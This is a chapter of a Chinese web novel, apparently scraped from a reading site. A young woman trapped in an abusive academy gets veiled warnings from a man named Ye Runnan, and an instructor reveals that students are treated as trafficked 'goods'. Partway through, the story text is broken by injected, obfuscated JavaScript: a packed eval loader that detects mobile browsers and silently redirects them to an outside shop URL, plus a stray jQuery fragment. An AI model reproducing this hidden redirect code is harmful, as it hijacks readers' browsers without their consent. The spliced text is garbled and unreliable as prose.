赵芯音看见叶润楠立即挂起了这一晚上几乎焊在脸上的招牌微笑:“叶先生哪里的话,是我在这里偷懒打盹被抓了包,心虚了。”
叶润楠不知是有意还是无意,他说:“是吗?确定是偷懒打盹,而不是在想些什么乱七八糟的?”
赵芯音心底一跳,面上不变:“叶先生说笑了,我一切都听连总安排,能想什么乱七八糟的?”
叶润楠突然俯身凑到赵芯音面前:“比如,想我啊?”
赵芯音往后仰了仰身,瞪着他半晌,笑容有些凝固。
刚刚那个高冷的人和现在这个不要脸的人,是同一个人吗?
赵芯音还没做出反应,叶润楠先站直了身,多了一丝吊儿郎当:“进去了,连璋明在里面等着。”走两步,他又压低了声音说,“别以为这里是什么好地方。能不过来尽量别过来了,这地方不是你该来的地方。”
说完这句,叶润楠径直往包间走去。
赵芯音大脑空白一瞬,这是在,提醒她?
眼看叶润楠马上要推门进去了,她甩了甩头跟着进去。
连璋明他们的事情已经聊得差不多了,另外四个都回了各自的场子去,包间里只有连璋明、赵芯音和叶润楠。
连璋明对着叶润楠说道:“我今晚的飞机要去港城一趟,出去半个月左右,这边的事情你看着安排。”
目光看向赵芯音,又补充道,“待会儿润楠你送芯音回去,顺便跟晓慧那边说一声。”
叶润楠似乎没想到得了这么一个差事,抬起眼皮看向连璋明:“确定我去说?”
连璋明端着酒杯看过去:“有什么问题吗?”
叶润楠嗤笑一声,目光若有似无地飘向赵芯音:“我能有什么问题,明哥觉得OK,我照办就是。”
连璋明又跟叶润楠交待了一些他离开后的事情,就先离开了了。
赵芯音不想与叶润楠有过多接触,这个人太复杂,她不确定这个人到底是会成为她的助力还是阻力。
两人相顾无言一会儿,叶润楠大概是也觉得无趣,站起身:“回去?”
赵芯音只浅浅“嗯”了一声,随着叶润楠一起出去。
叶润楠开着车带她回到了桂香书院,赵芯音默默思忖,叶润楠对桂香书院很熟。
但也敏锐地发现叶润楠在靠近桂香书院的时候神色就阴沉了一些,开进大门的时候,眉峰更是蹙了起来,很明显的抵触这个地方。
或许这个人真的会成为她的助力。
叶润楠的车停在赵芯音住的那栋别墅门口,赵芯音没来由地觉得一股阴森森地风吹来,抬头看到王晓慧站在别墅二楼阳台上。
叶润楠也看到了,他“滴滴”按了两声喇叭,阳台上的身影动了动,王晓慧从二楼下来。
叶润楠解开车锁,赵芯音打开车门准备下车,刚打开车门,叶润楠看了一眼别墅门口的方向,王晓慧还没有出来,他突然说道:“注意一点王晓慧。”
赵芯音看了叶润楠一眼,很诧异他会说出这句话来,还没有理解是什么个意思,但是叶润楠没有再说一遍的意思,王晓慧已经走到门口了,阴恻恻的目光比在阳台上时看得更让人不自在。
她没再多想,推开车门,下车:“今晚谢谢叶先生了。”
关上车门准备进别墅上楼。
王晓慧靠在门板:“连璋明给了你什么?”
不屑的语气里带着几分她自己都没有觉察的迫切。
赵芯音低头往里走:“连院长只是带我出去看看。”
“就着?”王晓慧显然不信,“你……”
“滴滴!”叶润楠又按了两声喇叭,王晓慧白眼扫过去:“楠哥你不是向来不喜欢来这个地方?”
叶润楠朝着赵芯音努了努嘴“明哥让我送她回来,还让我跟你说,他去港城出差差不多半个月。”他并没有熄火,打着方向盘就准备调头离开,“对了,以后,夜色那边,赵小姐负责一部分业务,前期还需要王姐你带带,让她熟悉熟悉先。”
“什么?”王晓慧听着脸上瞬间难看起来,抱着胸的双手都放下来,往前两步,“你算什么东西,凭什么做这个决定!”
叶润楠被骂了也不恼,只轻笑一声:“今晚我算个司机和传话筒,别的你去问连璋明。”
说完意味不明地看了赵芯音一眼,脚上油门一踩,眨眼不见了人影。
这话不只是王晓慧不可思议,赵芯音也着实吃了一惊。
她不记得连璋明跟她说过让她负责夜色一部分的业务,她甚至都不知道夜色的具体业务都有些什么!
赵芯音沉了眉眼:要么是叶润楠想害他,要么是连璋明故意不告诉她。
还没容她想太多,被王晓慧一把拽住胳膊:“他是什么意思?你不是说连璋明只是带你出去看看吗?”
赵芯音很真诚地看着王晓慧,也很真诚地回答:“我不知道。连院长没有跟我说过。”
她的真诚没有用,王晓慧不信。
王晓慧瞪着她,居然从口袋里掏出了一个手机!
这再次打破了赵芯音的认知,她默默定下下一个目标,要想办法找连璋明要一个手机来。
王晓慧电话拨过去许久没有人接,应该是打给连璋明,不出意外连璋明现在在飞机上,接不到电话。
最后王晓慧也只能愤愤地放下手机,自己趾高气昂地先回了房间。
赵芯音看着她上去的身影,默默地深吸一口气,听到她关房门的声音了,才抬脚往楼上走。
这一下午再加晚上实在累,洗完澡之后躺在床上意识却格外的活泛又清晰。
这下午好不容易出去了一趟,也不能全无收获,至少她知道连璋明确实是有做一些不正当的生意。
和魏总一起做的到底是什么生意,她暂时还没弄明白,那个不急。
听他们谈话的意思,也并不是一直在做的,只有接到委托了才能会有那个生意。
至于夜色,既让连璋明让她负责一半的业务,那她必须要好好利用这个机会。
夜色环境复杂,只要进去了,总能有机会逃出去,或者接触到桂香书院之外的人。
现在她还有一个比较重要的任务,她要和谢妍宁碰一面,她消失了半天,谢妍宁估计会担心。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773652|209438||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
对了,还有叶润楠了,到底是谁,是什么人。隐隐地好像在提醒她什么,却又说得模棱两可。
想着想着她就陷入了沉睡中。
第二天一早五点准时起床,迅速梳洗完毕后来到操场等着大部队的学生集合跑操。谢妍宁到得最早,看到赵芯音,眼眸里瞬间亮起了光彩。
赵芯音跑到她身边先是迅速低声说了一句:“我昨天下午和连璋明出去了。”
谢妍宁难掩惊讶,但迅速调整好表情,只做出在听教训的模样。
“以后我可能经常会出去,你们先什么都不要做,自己注意安全。”
说着赵芯音四下看了一圈,还没看到蒋玲宜下来,“尤其是玲宜,她性子比较冲动,不要让她有什么动作。”
谢妍宁抬眼,有些欲言又止的模样。
赵芯用看向她:“玲宜做什么?”
谢妍宁看向不远处朝这边走过来的郑钧阳,低垂着头,掩饰着开合的嘴唇,迅速又低声地说了一句:“玲宜跟着郑钧阳了。”
这句话的冲击有点大,赵芯音一时没有反应过来……
什么叫“玲宜跟着郑钧阳了”???
谢妍宁已经重新做起了木偶,赵芯音看着走过来的郑钧阳,这才发现郑钧阳的身后跟着蒋玲宜。
赵芯音心底滋味五味杂陈,但还是立正站好:“报告教官,应到23人……”看一眼还站在郑钧阳身后,目光躲闪着不敢看她的蒋玲宜,犹豫着开口汇报,“实到23人,请指示。”
郑钧阳双手背在身后,站得挺拔,满脸的春风,看向赵芯音的神色说不上好看,但被那春风盖过去,倒是不难看:“你怎么还在这里?”
赵芯音蹙了蹙眉,好似没有理解郑钧阳的意思。
郑钧阳挥了挥手,他身后的蒋玲宜立即出来,带着一队木偶们开始跑操,待一队人都跑开了,才对赵芯音说:“连璋明都带你见过魏泽壑了,我还以为你把他迷得失了神智了呢!”
魏泽壑,看来是那个魏总的名字,郑钧阳也知道他们的生意。
赵芯音琢磨着从郑钧阳这里套一点话出来:“报告教官,连院长去港城出差大概半个月,处理‘大生意’那个孩子的事情,那天他们说起来,好像是后续有点麻烦。我帮不上什么忙,就想着在学院里多尽点力。”
“麻烦?”郑钧阳一双眼睛盯着她,仿佛是看着小丑一般,“那孩子还是我从隔壁群学生里面挑出来送过去,父母送过来三年都没来看过,早当自己没这个孩子了,能有什么麻烦?”
“哼!”他嗤出一口气,凑到赵芯音耳边,“你想知道什么直接问,我未必不会说,你以为你们这些学生是什么?货源知道吗?各种货。”
赵芯音紧抿着的唇血色尽失,,整张脸更是如一张白纸……
“你想套我话。”郑钧阳说得不疾不徐,“也得掂量掂量自己几斤几两,你那点小聪明,糊弄连璋明还行,在我面前,你就省着点吧。”
郑钧阳把背在身后的铁棍拿到前面来,掂了一下:“我不动你,就想看看连璋明自己能作到什么程度,你又能蹦跶成个什么样子。”